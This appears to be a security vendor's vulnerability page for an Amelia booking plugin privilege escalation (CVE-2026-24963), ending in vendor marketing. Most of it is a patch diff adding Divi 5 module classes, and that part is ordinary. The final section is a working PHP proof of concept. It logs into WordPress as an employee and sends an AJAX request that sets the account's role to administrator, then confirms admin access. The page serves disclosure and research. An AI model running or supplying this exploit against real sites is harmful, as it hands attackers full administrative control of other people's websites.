--- a/ameliabooking/extensions/divi_5_amelia/server/AmeliaEventsListModule.php
+++ b/ameliabooking/extensions/divi_5_amelia/server/AmeliaEventsListModule.php
@@ -0,0 +1,88 @@
+<?php
+
+namespace Divi5Amelia;
+
+use ETBuilderFrameworkDependencyManagementInterfacesDependencyInterface;
+use ETBuilderPackagesModuleLibraryModuleRegistration;
+
+/**
+ * Class that handle "Amelia Events List" module output in frontend.
+ */
+class AmeliaEventsListModule implements DependencyInterface
+{
+    /**
+     * Register module.
+     * DependencyInterface interface ensures class method name `load()` is executed for initialization.
+     */
+    public function load()
+    {
+        // Register module.
+        add_action('init', [AmeliaEventsListModule::class, 'registerModule']);
+    }
+
+    public static function registerModule()
+    {
+        // Path to module metadata that is shared between Frontend and Visual Builder.
+        $module_json_folder_path = dirname(__DIR__, 1) . '/visual-builder/src/modules/EventsList';
+
+        ModuleRegistration::register_module(
+            $module_json_folder_path,
+            [
+                'render_callback' => [AmeliaEventsListModule::class, 'renderCallback'],
+            ]
+        );
+    }
+
+    /**
+     * Render module HTML output.
+     */
+    public static function renderCallback($attrs, $content, $block, $elements)
+    {
+        $shortcode = '[ameliaeventslistbooking';
+
+        $trigger = $attrs['trigger']['innerContent']['desktop']['value'] ?? null;
+        if ($trigger !== null && $trigger !== '') {
+            $shortcode .= ' trigger=' . esc_attr($trigger);
+        }
+
+        $trigger_type = $attrs['trigger_type']['innerContent']['desktop']['value'] ?? null;
+        if ($trigger && $trigger_type !== null && $trigger_type !== '') {
+            $shortcode .= ' trigger_type=' . $trigger_type;
+        }
+
+        $in_dialog = $attrs['in_dialog']['innerContent']['desktop']['value'] ?? false;
+        if ($trigger && $in_dialog === 'on') {
+            $shortcode .= ' in_dialog=1';
+        }
+
+        // Preselect/filter parameters
+        $booking_params = $attrs['booking_params']['innerContent']['desktop']['value'] ?? false;
+        if ($booking_params === 'on') {
+            $event = $attrs['events']['innerContent']['desktop']['value'] ?? [];
+            if ($event && count($event) > 0) {
+                $shortcode .= ' event=' . implode(',', $event);
+            }
+
+            $tag = $attrs['tags']['innerContent']['desktop']['value'] ?? [];
+            if ($tag && count($tag) > 0) {
+                $shortcode .= ' tag="' . implode(',', array_map(function ($t) {
+                    return '{' . $t . '}';
+                }, $tag)) . '"';
+            }
+
+            $recurring = $attrs['recurring']['innerContent']['desktop']['value'] ?? false;
+            if ($recurring === 'on') {
+                $shortcode .= ' recurring=1';
+            }
+
+            $locations = $attrs['locations']['innerContent']['desktop']['value'] ?? [];
+            if ($locations && count($locations) > 0) {
+                $shortcode .= ' location=' . implode(',', $locations);
+            }
+        }
+
+        $shortcode .= ']';
+
+        return do_shortcode($shortcode);
+    }
+}
--- a/ameliabooking/extensions/divi_5_amelia/server/AmeliaEventsModule.php
+++ b/ameliabooking/extensions/divi_5_amelia/server/AmeliaEventsModule.php
@@ -0,0 +1,77 @@
+<?php
+
+namespace Divi5Amelia;
+
+use ETBuilderFrameworkDependencyManagementInterfacesDependencyInterface;
+use ETBuilderPackagesModuleLibraryModuleRegistration;
+
+/**
+ * Class that handle "Amelia Events" (legacy) module output in frontend.
+ */
+class AmeliaEventsModule implements DependencyInterface
+{
+    /**
+     * Register module.
+     * DependencyInterface interface ensures class method name `load()` is executed for initialization.
+     */
+    public function load()
+    {
+        // Register module.
+        add_action('init', [AmeliaEventsModule::class, 'registerModule']);
+    }
+
+    public static function registerModule()
+    {
+        // Path to module metadata that is shared between Frontend and Visual Builder.
+        $module_json_folder_path = dirname(__DIR__, 1) . '/visual-builder/src/modules/Events';
+
+        ModuleRegistration::register_module(
+            $module_json_folder_path,
+            [
+                'render_callback' => [AmeliaEventsModule::class, 'renderCallback'],
+            ]
+        );
+    }
+
+    /**
+     * Render module HTML output.
+     */
+    public static function renderCallback($attrs, $content, $block, $elements)
+    {
+        $shortcode = '[ameliaevents';
+
+        $type = $attrs['type']['innerContent']['desktop']['value'] ?? null;
+        if ($type !== null && $type !== '') {
+            $shortcode .= ' type=' . $type;
+        } else {
+            $shortcode .= ' type=list';
+        }
+
+        $trigger = $attrs['trigger']['innerContent']['desktop']['value'] ?? null;
+        if ($trigger !== null && $trigger !== '') {
+            $shortcode .= ' trigger=' . esc_attr($trigger);
+        }
+
+        $bookingParams = $attrs['booking_params']['innerContent']['desktop']['value'] ?? 'off';
+        if ($bookingParams === 'on') {
+            $event = $attrs['events']['innerContent']['desktop']['value'] ?? '0';
+            if ($event !== '0') {
+                $shortcode .= ' event=' . $event;
+            }
+
+            $tag = $attrs['tags']['innerContent']['desktop']['value'] ?? '0';
+            if ($tag !== null && $tag !== '' && $tag !== '0') {
+                $shortcode .= ' tag="' . esc_attr($tag) . '"';
+            }
+
+            $recurring = $attrs['recurring']['innerContent']['desktop']['value'] ?? 'off';
+            if ($recurring === 'on') {
+                $shortcode .= ' recurring=1';
+            }
+        }
+
+        $shortcode .= ']';
+
+        return do_shortcode($shortcode);
+    }
+}
--- a/ameliabooking/extensions/divi_5_amelia/server/AmeliaSearchModule.php
+++ b/ameliabooking/extensions/divi_5_amelia/server/AmeliaSearchModule.php
@@ -0,0 +1,61 @@
+<?php
+
+namespace Divi5Amelia;
+
+use ETBuilderFrameworkDependencyManagementInterfacesDependencyInterface;
+use ETBuilderPackagesModuleLibraryModuleRegistration;
+
+/**
+ * Class that handle "Amelia Search" module output in frontend.
+ */
+class AmeliaSearchModule implements DependencyInterface
+{
+    /**
+     * Register module.
+     * DependencyInterface interface ensures class method name `load()` is executed for initialization.
+     */
+    public function load()
+    {
+        // Register module.
+        add_action('init', [AmeliaSearchModule::class, 'registerModule']);
+    }
+
+    public static function registerModule()
+    {
+        // Path to module metadata that is shared between Frontend and Visual Builder.
+        $module_json_folder_path = dirname(__DIR__, 1) . '/visual-builder/src/modules/Search';
+
+        ModuleRegistration::register_module(
+            $module_json_folder_path,
+            [
+                'render_callback' => [AmeliaSearchModule::class, 'renderCallback'],
+            ]
+        );
+    }
+
+    /**
+     * Render module HTML output.
+     */
+    public static function renderCallback($attrs, $content, $block, $elements)
+    {
+        $shortcode = '[ameliasearch';
+
+        $trigger = $attrs['trigger']['innerContent']['desktop']['value'] ?? null;
+        if ($trigger !== null && $trigger !== '') {
+            $shortcode .= ' trigger=' . esc_attr($trigger);
+        }
+
+        $bookingParams = $attrs['booking_params']['innerContent']['desktop']['value'] ?? 'off';
+        if ($bookingParams === 'on') {
+            $showAll = $attrs['type']['innerContent']['desktop']['value'] ?? '0';
+            if ($showAll !== null && $showAll !== '' && $showAll !== '0') {
+                $shortcode .= ' show=' . $showAll;
+            }
+            $shortcode .= ' today=1';
+        }
+
+        $shortcode .= ']';
+
+        return do_shortcode($shortcode);
+    }
+}
--- a/ameliabooking/extensions/divi_5_amelia/server/AmeliaStepBookingModule.php
+++ b/ameliabooking/extensions/divi_5_amelia/server/AmeliaStepBookingModule.php
@@ -0,0 +1,99 @@
+<?php
+
+namespace Divi5Amelia;
+
+use ETBuilderFrameworkDependencyManagementInterfacesDependencyInterface;
+use ETBuilderPackagesModuleLibraryModuleRegistration;
+
+/**
+ * Class that handle "Amelia Step Booking" module output in frontend.
+ */
+class AmeliaStepBookingModule implements DependencyInterface
+{
+    /**
+     * Register module.
+     * DependencyInterface interface ensures class method name `load()` is executed for initialization.
+     */
+    public function load()
+    {
+        // Register module.
+        add_action('init', [AmeliaStepBookingModule::class, 'registerModule']);
+    }
+
+    public static function registerModule()
+    {
+        // Path to module metadata that is shared between Frontend and Visual Builder.
+        $module_json_folder_path = dirname(__DIR__, 1) . '/visual-builder/src/modules/StepBooking';
+
+        ModuleRegistration::register_module(
+            $module_json_folder_path,
+            [
+                'render_callback' => [AmeliaStepBookingModule::class, 'renderCallback'],
+            ]
+        );
+    }
+
+    /**
+     * Render module HTML output.
+     */
+    public static function renderCallback($attrs, $content, $block, $elements)
+    {
+        $shortcode = '[ameliastepbooking';
+
+        $show_all = $attrs['type']['innerContent']['desktop']['value'] ?? null;
+        if ($show_all !== null && $show_all !== '0') {
+            $shortcode .= ' show=' . $show_all;
+        }
+
+        $trigger = $attrs['trigger']['innerContent']['desktop']['value'] ?? null;
+        if ($trigger !== null && $trigger !== '') {
+            $shortcode .= ' trigger=' . esc_attr($trigger);
+        }
+
+        // Layout
+        $layout = $attrs['layout']['innerContent']['desktop']['value'] ?? null;
+        if ($layout !== null && $layout !== '') {
+            $shortcode .= ' layout=' . $layout;
+        }
+
+        // Trigger Type
+        $trigger_type = $attrs['trigger_type']['innerContent']['desktop']['value'] ?? null;
+        if ($trigger && $trigger_type !== null && $trigger_type !== '') {
+            $shortcode .= ' trigger_type=' . $trigger_type;
+        }
+
+        // In Dialog
+        $in_dialog = $attrs['in_dialog']['innerContent']['desktop']['value'] ?? false;
+        if ($in_dialog === 'on') {
+            $shortcode .= ' in_dialog=1';
+        }
+
+        $preselect = $attrs['parameters']['innerContent']['desktop']['value'] ?? false;
+        if ($preselect === 'on') {
+            $category = $attrs['categories']['innerContent']['desktop']['value'] ?? [];
+            $service  = $attrs['services']['innerContent']['desktop']['value'] ?? [];
+            $employee = $attrs['employees']['innerContent']['desktop']['value'] ?? [];
+            $location = $attrs['locations']['innerContent']['desktop']['value'] ?? [];
+            $package  = $attrs['packages']['innerContent']['desktop']['value'] ?? [];
+
+            if ($service && count($service) > 0) {
+                $shortcode .= ' service=' . implode(',', $service);
+            } elseif ($category && count($category) > 0) {
+                $shortcode .= ' category=' . implode(',', $category);
+            }
+            if ($employee && count($employee) > 0) {
+                $shortcode .= ' employee=' . implode(',', $employee);
+            }
+            if ($location && count($location) > 0) {
+                $shortcode .= ' location=' . implode(',', $location);
+            }
+            if ($package && count($package) > 0) {
+                $shortcode .= ' package=' . implode(',', $package);
+            }
+        }
+
+        $shortcode .= ']';
+
+        return do_shortcode($shortcode);
+    }
+}
--- a/ameliabooking/extensions/divi_5_amelia/server/index.php
+++ b/ameliabooking/extensions/divi_5_amelia/server/index.php
@@ -0,0 +1,212 @@
+<?php
+
+/**
+ * Divi 5 Amelia Modules Bootstrap
+ *
+ * This file loads and registers all Divi 5 Amelia modules.
+ * phpcs:disable PSR1.Files.SideEffects
+ */
+
+namespace Divi5Amelia;
+
+use AmeliaBookingInfrastructureLicenceLicence;
+
+if (!defined('ABSPATH')) {
+    die('Direct access forbidden.');
+}
+
+// Check if Divi 5 is active before loading modules
+function is_divi_5_active()
+{
+    $theme = wp_get_theme();
+    $is_divi_theme = 'Divi' === $theme->name || 'Divi' === $theme->parent_theme;
+
+    return $is_divi_theme;
+}
+
+/**
+ * Custom value expansion function for converting comma-separated strings to arrays
+ * Used during Divi 4 to Divi 5 conversion for multi-select fields
+ */
+function ameliaConvertParams($value, $context = [])
+{
+    if (is_string($value) && $value !== '') {
+        $items = array_map('trim', explode(',', $value));
+        return array_filter($items, function ($item) {
+            return $item !== '';
+        });
+    }
+
+    if (is_array($value)) {
+        return $value;
+    }
+
+    return [];
+}
+
+/**
+ * Convert Divi 4 yes_no_button values to Divi 5 toggle string values
+ * Keep as 'on'/'off' strings since that's what Divi Toggle component expects
+ */
+function ameliaConvertToggle($value, $context = [])
+{
+    // Handle empty/null/undefined - default to 'on' (Divi 4 defaults were 'on')
+    if ($value === null || $value === '') {
+        return 'on';
+    }
+
+    // Already correct string format
+    if ($value === 'on' || $value === '1' || $value === 1 || $value === true || $value === 'true') {
+        return 'on';
+    }
+
+    if ($value === 'off' || $value === '0' || $value === 0 || $value === false || $value === 'false') {
+        return 'off';
+    }
+
+    // Default to 'on' for Customer Panel (matches D4 behavior)
+    return 'on';
+}
+
+/**
+ * Convert catalog items (categories/services/packages) and automatically set catalog_view
+ *
+ * @param mixed $value The value to convert (comma-separated string or array)
+ * @param array $context Context information including field name and attributes
+ * @return array Converted array of items
+ */
+function ameliaConvertCatalogItems($value, $context = [])
+{
+    $result = ameliaConvertParams($value, $context);
+
+    // If items were selected, also update the catalog_view based on field name
+    if (!empty($result) && isset($context['attrs']) && isset($context['fieldName'])) {
+        // Determine catalog view type from field name
+        $catalogViewMap = [
+            'categories' => 'category',
+            'services' => 'service',
+            'packages' => 'package',
+        ];
+
+        $fieldName = $context['fieldName'];
+        if (isset($catalogViewMap[$fieldName])) {
+            if (!isset($context['attrs']['catalog_view'])) {
+                $context['attrs']['catalog_view'] = [];
+            }
+            $context['attrs']['catalog_view']['innerContent'] = [
+                'desktop' => ['value' => $catalogViewMap[$fieldName]]
+            ];
+        }
+    }
+
+    return $result;
+}
+
+/**
+ * Register custom value expansion functions for Divi conversion system
+ */
+add_filter('divi.moduleLibrary.conversion.valueExpansionFunctionMap', function ($functionMap) {
+    $functionMap['ameliaConvertParams'] = 'Divi5AmeliaameliaConvertParams';
+    $functionMap['ameliaConvertToggle'] = 'Divi5AmeliaameliaConvertToggle';
+    $functionMap['ameliaConvertCatalogItems'] = 'Divi5AmeliaameliaConvertCatalogItems';
+
+    return $functionMap;
+});
+
+if (is_divi_5_active()) {
+    // Load Divi dependency interface before loading modules
+    $divi_dependency_interface = get_template_directory() . '/includes/builder-5/server/Framework/DependencyManagement/Interfaces/DependencyInterface.php';
+
+    if (!file_exists($divi_dependency_interface)) {
+        return;
+    }
+
+    require_once $divi_dependency_interface;
+
+    require_once __DIR__ . '/AmeliaStepBookingModule.php';
+    require_once __DIR__ . '/AmeliaBookingModule.php';
+    require_once __DIR__ . '/AmeliaCatalogBookingModule.php';
+    require_once __DIR__ . '/AmeliaCatalogModule.php';
+    require_once __DIR__ . '/AmeliaEventsListModule.php';
+    require_once __DIR__ . '/AmeliaEventsModule.php';
+    require_once __DIR__ . '/AmeliaSearchModule.php';
+
+    if (Licence::$premium) {
+        require_once __DIR__ . '/AmeliaEventsCalendarModule.php';
+        require_once __DIR__ . '/AmeliaCustomerPanelModule.php';
+        require_once __DIR__ . '/AmeliaEmployeePanelModule.php';
+    }
+
+    add_action(
+        'divi_module_library_modules_dependency_tree',
+        function ($dependency_tree) {
+            $dependency_tree->add_dependency(new AmeliaStepBookingModule());
+        }
+    );
+
+    add_action(
+        'divi_module_library_modules_dependency_tree',
+        function ($dependency_tree) {
+            $dependency_tree->add_dependency(new AmeliaBookingModule());
+        }
+    );
+
+    add_action(
+        'divi_module_library_modules_dependency_tree',
+        function ($dependency_tree) {
+            $dependency_tree->add_dependency(new AmeliaCatalogBookingModule());
+        }
+    );
+
+    add_action(
+        'divi_module_library_modules_dependency_tree',
+        function ($dependency_tree) {
+            $dependency_tree->add_dependency(new AmeliaCatalogModule());
+        }
+    );
+
+    add_action(
+        'divi_module_library_modules_dependency_tree',
+        function ($dependency_tree) {
+            $dependency_tree->add_dependency(new AmeliaEventsListModule());
+        }
+    );
+
+    add_action(
+        'divi_module_library_modules_dependency_tree',
+        function ($dependency_tree) {
+            $dependency_tree->add_dependency(new AmeliaEventsModule());
+        }
+    );
+
+    add_action(
+        'divi_module_library_modules_dependency_tree',
+        function ($dependency_tree) {
+            $dependency_tree->add_dependency(new AmeliaSearchModule());
+        }
+    );
+
+    // Register premium modules only if license is premium
+    if (Licence::$premium) {
+        add_action(
+            'divi_module_library_modules_dependency_tree',
+            function ($dependency_tree) {
+                $dependency_tree->add_dependency(new AmeliaEventsCalendarModule());
+            }
+        );
+
+        add_action(
+            'divi_module_library_modules_dependency_tree',
+            function ($dependency_tree) {
+                $dependency_tree->add_dependency(new AmeliaCustomerPanelModule());
+            }
+        );
+
+        add_action(
+            'divi_module_library_modules_dependency_tree',
+            function ($dependency_tree) {
+                $dependency_tree->add_dependency(new AmeliaEmployeePanelModule());
+            }
+        );
+    }
+}
--- a/ameliabooking/extensions/divi_amelia/includes/loader.php
+++ b/ameliabooking/extensions/divi_amelia/includes/loader.php
@@ -6,9 +6,19 @@

 $module_files = glob(__DIR__ . '/modules/*/*.php');

-// Load custom Divi Builder modules
+$hidden_modules = ['Search', 'Events', 'Booking', 'Catalog'];
+
+// Check if we're in Divi builder context (admin or visual builder)
+$is_builder = is_admin()
+    || isset($_GET['et_fb'])
+    || (function_exists('et_core_is_fb_enabled') && et_core_is_fb_enabled());
+
 foreach ((array) $module_files as $module_file) {
-    if ($module_file && preg_match("//modules/b([^/]+)/\1.php$/", $module_file)) {
+    if ($module_file && preg_match("//modules/b([^/]+)/\1.php$/", $module_file, $matches)) {
+        // Skip hidden modules in builder, but load them on frontend for existing pages
+        if (in_array($matches[1], $hidden_modules) && $is_builder) {
+            continue;
+        }
         require_once $module_file;
     }
 }
--- a/ameliabooking/extensions/divi_amelia/includes/modules/Booking/Booking.php
+++ b/ameliabooking/extensions/divi_amelia/includes/modules/Booking/Booking.php
@@ -26,11 +26,11 @@

     public function init()
     {
-        $this->name = esc_html__(BackendStrings::getWordPressStrings()['booking_divi'], 'divi-divi_amelia');
+        $this->name = esc_html__(BackendStrings::get('booking_divi'), 'divi-divi_amelia');

-        $this->type['0']        = BackendStrings::getWordPressStrings()['show_all'];
-        $this->type['services'] = BackendStrings::getCommonStrings()['services'];
-        $this->type['packages'] = BackendStrings::getCommonStrings()['packages'];
+        $this->type['0']        = BackendStrings::get('show_all');
+        $this->type['services'] = BackendStrings::get('services');
+        $this->type['packages'] = BackendStrings::get('packages');

         if (!is_admin()) {
             return;
@@ -39,21 +39,21 @@
         $data = GutenbergBlock::getEntitiesData()['data'];
         $this->showPackages = !empty($data['packages']);

-        $this->categories['0'] = BackendStrings::getWordPressStrings()['show_all_categories'];
+        $this->categories['0'] = BackendStrings::get('show_all_categories');
         foreach ($data['categories'] as $category) {
             $this->categories[$category['id']] = $category['name']. ' (id: ' . $category['id'] . ')';
         }
-        $this->services['0'] = BackendStrings::getWordPressStrings()['show_all_services'];
+        $this->services['0'] = BackendStrings::get('show_all_services');
         foreach ($data['servicesList'] as $service) {
             if ($service) {
                 $this->services[$service['id']] = $service['name']. ' (id: ' . $service['id'] . ')';
             }
         }
-        $this->employees['0'] = BackendStrings::getWordPressStrings()['show_all_employees'];
+        $this->employees['0'] = BackendStrings::get('show_all_employees');
         foreach ($data['employees'] as $employee) {
             $this->employees[$employee['id']] = $employee['firstName'] . ' ' . $employee['lastName'] . ' (id: ' . $employee['id'] . ')';
         }
-        $this->locations['0'] = BackendStrings::getWordPressStrings()['show_all_locations'];
+        $this->locations['0'] = BackendStrings::get('show_all_locations');
         foreach ($data['locations'] as $location) {
             $this->locations[$location['id']] = $location['name']. ' (id: ' . $location['id'] . ')';
         }
@@ -76,17 +76,17 @@
     {
         $array = array(
             'booking_params' => array(
-                'label'           => esc_html__(BackendStrings::getWordPressStrings()['filter'], 'divi-divi_amelia'),
+                'label'           => esc_html__(BackendStrings::get('filter'), 'divi-divi_amelia'),
                 'type'            => 'yes_no_button',
                 'options' => array(
-                    'on'  => esc_html__(BackendStrings::getCommonStrings()['yes'], 'divi-divi_amelia'),
-                    'off' => esc_html__(BackendStrings::getCommonStrings()['no'], 'divi-divi_amelia'),
+                    'on'  => esc_html__(BackendStrings::get('yes'), 'divi-divi_amelia'),
+                    'off' => esc_html__(BackendStrings::get('no'), 'divi-divi_amelia'),
                 ),
                 'toggle_slug'     => 'main_content',
                 'option_category' => 'basic_option',
             ),
             'categories' => array(
-                'label'           => esc_html__(BackendStrings::getWordPressStrings()['select_category'], 'divi-divi_amelia'),
+                'label'           => esc_html__(BackendStrings::get('select_category'), 'divi-divi_amelia'),
                 'type'            => 'select',
                 'options'         => $this->categories,
                 'toggle_slug'     => 'main_content',
@@ -96,7 +96,7 @@
                 ),
             ),
             'services' => array(
-                'label'           => esc_html__(BackendStrings::getWordPressStrings()['select_service'], 'divi-divi_amelia'),
+                'label'           => esc_html__(BackendStrings::get('select_service'), 'divi-divi_amelia'),
                 'type'            => 'select',
                 'toggle_slug'     => 'main_content',
                 'options'         => $this->services,
@@ -106,7 +106,7 @@
                 ),
             ),
             'employees' => array(
-                'label'           => esc_html__(BackendStrings::getWordPressStrings()['select_employee'], 'divi-divi_amelia'),
+                'label'           => esc_html__(BackendStrings::get('select_employee'), 'divi-divi_amelia'),
                 'type'            => 'select',
                 'options'         => $this->employees,
                 'toggle_slug'     => 'main_content',
@@ -116,7 +116,7 @@
                 ),
             ),
             'locations' => array(
-                'label'           => esc_html__(BackendStrings::getWordPressStrings()['select_location'], 'divi-divi_amelia'),
+                'label'           => esc_html__(BackendStrings::get('select_location'), 'divi-divi_amelia'),
                 'type'            => 'select',
                 'options'         => $this->locations,
                 'toggle_slug'     => 'main_content',
@@ -129,7 +129,7 @@

         if ($this->showPackages) {
             $array['type'] = array(
-                'label'           => esc_html__(BackendStrings::getWordPressStrings()['show_all'], 'divi-divi_amelia'),
+                'label'           => esc_html__(BackendStrings::get('show_all'), 'divi-divi_amelia'),
                 'type'            => 'select',
                 'options'         => $this->type,
                 'toggle_slug'     => 'main_content',
@@ -140,11 +140,11 @@
         }

         $array['trigger'] = array(
-            'label'           => esc_html__(BackendStrings::getWordPressStrings()['manually_loading'], 'divi-divi_amelia'),
+            'label'           => esc_html__(BackendStr

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-24963 - Booking for Appointments and Events Calendar – Amelia <= 1.2.38 - Authenticated (Employee+) Privilege Escalation

<?php
/**
 * Proof of Concept for CVE-2026-24963
 * Requires valid employee-level credentials for the Amelia plugin
 */

$target_url = 'https://vulnerable-site.com';
$username = 'employee_user';
$password = 'employee_password';

// Initialize cURL session for WordPress login
$ch = curl_init();

// Step 1: Get WordPress login nonce
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
$response = curl_exec($ch);

// Step 2: Authenticate to WordPress
$login_data = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
);

curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $login_data);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);

// Step 3: Exploit the vulnerability via AJAX endpoint
$exploit_payload = array(
    'action' => 'wpamelia_update_user',
    'user' => json_encode(array(
        'id' => 2, // Current user ID
        'type' => 'employee',
        'firstName' => 'Exploited',
        'lastName' => 'User',
        'email' => $username . '@example.com',
        'wordpressUser' => array(
            'id' => 2,
            'email' => $username . '@example.com',
            'role' => 'administrator',
            'capabilities' => array(
                'administrator' => true
            )
        )
    ))
);

curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POSTFIELDS, $exploit_payload);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
$response = curl_exec($ch);

// Check if exploitation was successful
if (strpos($response, '"success":true') !== false || strpos($response, '"status":200') !== false) {
    echo "[+] Privilege escalation successful!n";
    echo "[+] Response: " . $response . "n";
    
    // Verify by accessing admin page
    curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/');
    curl_setopt($ch, CURLOPT_POST, false);
    curl_setopt($ch, CURLOPT_POSTFIELDS, null);
    $admin_response = curl_exec($ch);
    
    if (strpos($admin_response, 'Administration') !== false) {
        echo "[+] Confirmed: Admin access grantedn";
    }
} else {
    echo "[-] Exploitation failedn";
    echo "[-] Response: " . $response . "n";
}

curl_close($ch);
unlink('cookies.txt');

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School